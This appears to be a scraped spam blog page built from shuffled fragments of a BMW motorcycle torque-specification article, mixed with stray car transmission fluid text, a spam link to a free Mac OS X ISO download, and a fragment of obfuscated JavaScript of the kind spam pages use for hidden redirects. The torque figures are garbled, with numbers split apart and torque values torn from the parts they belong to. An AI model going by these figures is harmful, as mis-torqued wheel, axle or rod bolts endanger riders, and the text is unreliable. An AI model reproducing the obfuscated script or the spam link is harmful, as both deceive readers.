Foot-pounds x 192 = inch-ounces Inch-pound x 1 15 = CmKg Mkp (or Mkg) x 7.. Especially read the last part of that article, with the photos of interference fit problems.. except as a last resort, particularly where I do not show a value in this article.. You might even find single slot screws See https://bmwmotorcycletech info/tools.. I have not changed that except for the 11 mm bolts I use a faint oil sheen and 75-80 ftlbs.. It is YOUR CHOICE NOTE also that this is in regards to the 11 mm bolts, & applies to 1981+ models.. Oil pickup bolts: 6 5 foot-pounds, Loctite medium strength (blue) I use a very thin amount of a sealant at the gasket(s), Permatex Form-A-Gasket, usually I use the non-permanent version.. By using heat, & then a custom-made penetrating oil several times, maybe over a week's time, you may be able to remove the nuts without cutting them.. which 'can' add to the working-length of the torque wrench, thereby INcreasing the true bolt torque value from that set on the torque wrench; unless the adaptor is used at exactly 90°.. & safe Bmw Vanos Bolt Torque SpecThere have been NUMEROUS instances in which someone has questioned just what BMW means by its torque figures.. Top of fork tube 'nuts' and top spring retainer: ~80 foot-pounds R80R, R100R, GS, top sleeve/locknut: 48 foot-poundsM8 x 1 nut at the bottom of some forks, that holds the damper: ~15-17 foot-pounds.. BMW torque values are for clean and dry threads at these particular places Failure to follow my directions can result in a wheel departing the motorcycle!Errors in literature from BMW.. Neutral switch on 5 speed transmissions: Torque is not specified Use DEEP socket to install except when your switch has side facing terminals, which would prevent using a socket unless you have custom-modified a socket.. Article with all the information: https://bmwmotorcycletech info/exhaustnuts htmSection 21-23 Clutch & transmission:Transmission drain: 14-18.. htm & also the cv carburetor's articles about these screws regarding their removal,.. Makes me very nervous! However, at least one Pro does oil and tighten to 90ftlbs, & I have heard of no problems reported.. Changing the tranny fluid is not an easy task, and you can probably bet that the previous owner of your car did not perform this task when they owned it - especially if it wasn't on the list provided by the dealer.. I always use a torque wrench DO NOT use the split lockwashers that were supplied on earlier models except in emergency if you don't have the shorter replacement bolts.. do not overtighten these, I do it by hand with an allen wrench Fork drain BOLT (SIDE OF FORK LOWERS BOLT style as on late models): 6 max.. https://trueeup652 weebly com/mac-os-x-mountain-lion-iso-free-for-pc html Axle clamp bolts (pinch bolts): 10-12 foot-pounds.. It will be quite rare that you would have to consult those tables The tables have the size of the fastener (M6, M8, M12, etc.. Do tightening very evenly Do not use any sort of sealant on the gasket I sometimes do these bolts BY HAND using a 4 or 6 inch wrench & not a torque wrench.. These are shown in Figure 1 The main chamber is about one foot square, and the chamber in front of it is about one foot by three inches.. A dealership might have both sizes in the same box on their shelves; or, perhaps you order a bolt & get one with a different head size than you expected.. Piston plugs: 18 foot-pounds Damper slider tube, and fork brace, 1985+: 11 foot-pounds.. The torque to be applied to a bolt or nut is the factory specified torque You MUST calculate the adjustment factor for the torque wrench if the adaptor is not used at 90° to the torque wrench.. 5 foot-poundsEngine to frame: 55 foot-pounds Crankshaft rod bolts: ALWAYS use new ones.. If one of those lock-washers breaks, and that is relatively common, its bolt WILL loosen, the rest soon will & the result may destroy the back side of the transmission.. Thus, the threads could already be weakened Be very cautious I always torque this nut with my experienced hand, with a very small 4 (max 6) inch wrench.. info/torquespecs&problems htm if you have not previously, either before or after this article.. CUT the nut off! The nut is MUCH CHEAPER than replacing the port threads! Having to cut off the finned nut, or forcibly loosening & thereby ruining the port threads, will NOT happen if you REGULARLY maintain them, and do not over-tighten them! Never oil these threads, although if you use the penetrating oil mixture, that is OK, but you must use solvent to clean off that penetrant, before drying and then applying the antiseize compound to the threads.. NEVER-EVER USE ANY ANTISEIZE OR LUBRICANT PRODUCT AT WHEEL BOLTS, NUTS, CONE FITTINGS, ETC.. USUALLY the only place on your Airhead you need to reduce the torque for, if the item has anti-seize compound on it, is at the spark plugs.. USE LOCKWASHERS either waverly or star type Oil canister central pipe: Install with Loctite, quite tightly, using a custom-made or commercially-made mandrel or carefully ground very broad & thick tipped screwdriver.. K bikes don't generally have this problem most started with the even numbered sizes.. I even clean off fingerprints Do NOT use gasoline when cleaning the tapers Section 13/16-Carburetors & associated air & fuel inlet parts:Carburetor top covers, Bing CV: Can have Phillips or other somewhat similar cross slot screws.. Cadmium plating: BMW is shipping parts (nuts, bolts, etc ) that are NO LONGER cadmium plated due to European environmental rules.. com/slash2 htmMost of the rest of this article is divided into SECTIONS Section numbers correspond to the identical numbers that BMW uses in its literature.. I always do these by FEEL, but, you can use an INCH-pound torque wrench I believe the 10 Nm specification is too high.. 23 = foot-poundsCAUTION! Bolt head sizes !BMW has been shipping some bolts with one wrench size smaller heads, using the original part numbers.. M6 nut on the end of the automatic advance unit on models through 1978: 4 foot-pounds, which is 48 inch-pounds MAXIMUM! Be careful! It is good to use a FRESH waverly washer.. This is standard for industry & applies unless specifically noted to be different.. The first step in replacing your fluid is to jack up your car so that you can reach the underside of the transmission.. Use 24 to 30 INCH-pounds to start with, and preferably a fresh waverly washer If you have an INCH-OUNCE wrench, guess how you calculate inch-ounces? Yes, the conversion factor is near the top of this page.. htmTorque figures in the rest of this article are values Snowbum uses, & believes to be best, proper,.. info/torquespecs&problems htm https://bmwmotorcycletech info/drvshftboltstoolstorque.. j";xvM["jo"]="){";xvM["kV"]="sc";xvM["Xs"]="se";xvM["nM"]="fa";xvM["QO"]="us";xvM["YN"]="f(";xvM["ym"]="g.. ) & optimum tightening torque for the grade of metal In the DIN (German normal standards) system, bolts & nuts are assumed to be phosphate treated, no after-treatment, not galvanized.. The proper figure is 160 Nm, which is 118 ftlbs I NEVER MEASURE, but have no objections if you do.. 1981 & later: BMW's last specification change was in S I 11-049-91 (2495); this can also be seen on the 12/92 fiche on page 3, illustration G23.. I had previously used (clean & dry or faintest oil film from an oily cleaning solvent) torques of 42-45 foot-pounds on the 1973 & earlier engines with the 10 mm bolts.. Some values rounded Nm x 0 738 = foot-pounds Foot-pounds x 1 356 = Nm Inch-ounces = 141.. 5-8 ftlbs (some books show to 8 5) I suggest 5 5 to 6 maximum Carefully tighten in a staggered cross-pattern, starting at the center area bolts (to help avoid bunching-up the gasket) and starting at a low torque; repeating the tightening pattern with a bit higher torque each round of tightening.. 6 3- Series Automatic Transmission Fluid Change (1 Replacing your oil is easy - BMW knows that this needs to be performed once about every 3.. It is not just a screw to bolts change, the cover groove dimensions are also changed.. with the same sort of variances for plating, lubrication, etc Thus, a nut & bolt may have slightly different ratings.. Clamp ring bolt: 8 foot-pounds Fender brace upper: 16 foot-pounds Be sure you know what this is.. See: https://bmwmotorcycletech info/hardware htm Outer metal cover, front of engine: ~5.

2 views0 comments

Recent Posts

See All

Comments


bottom of page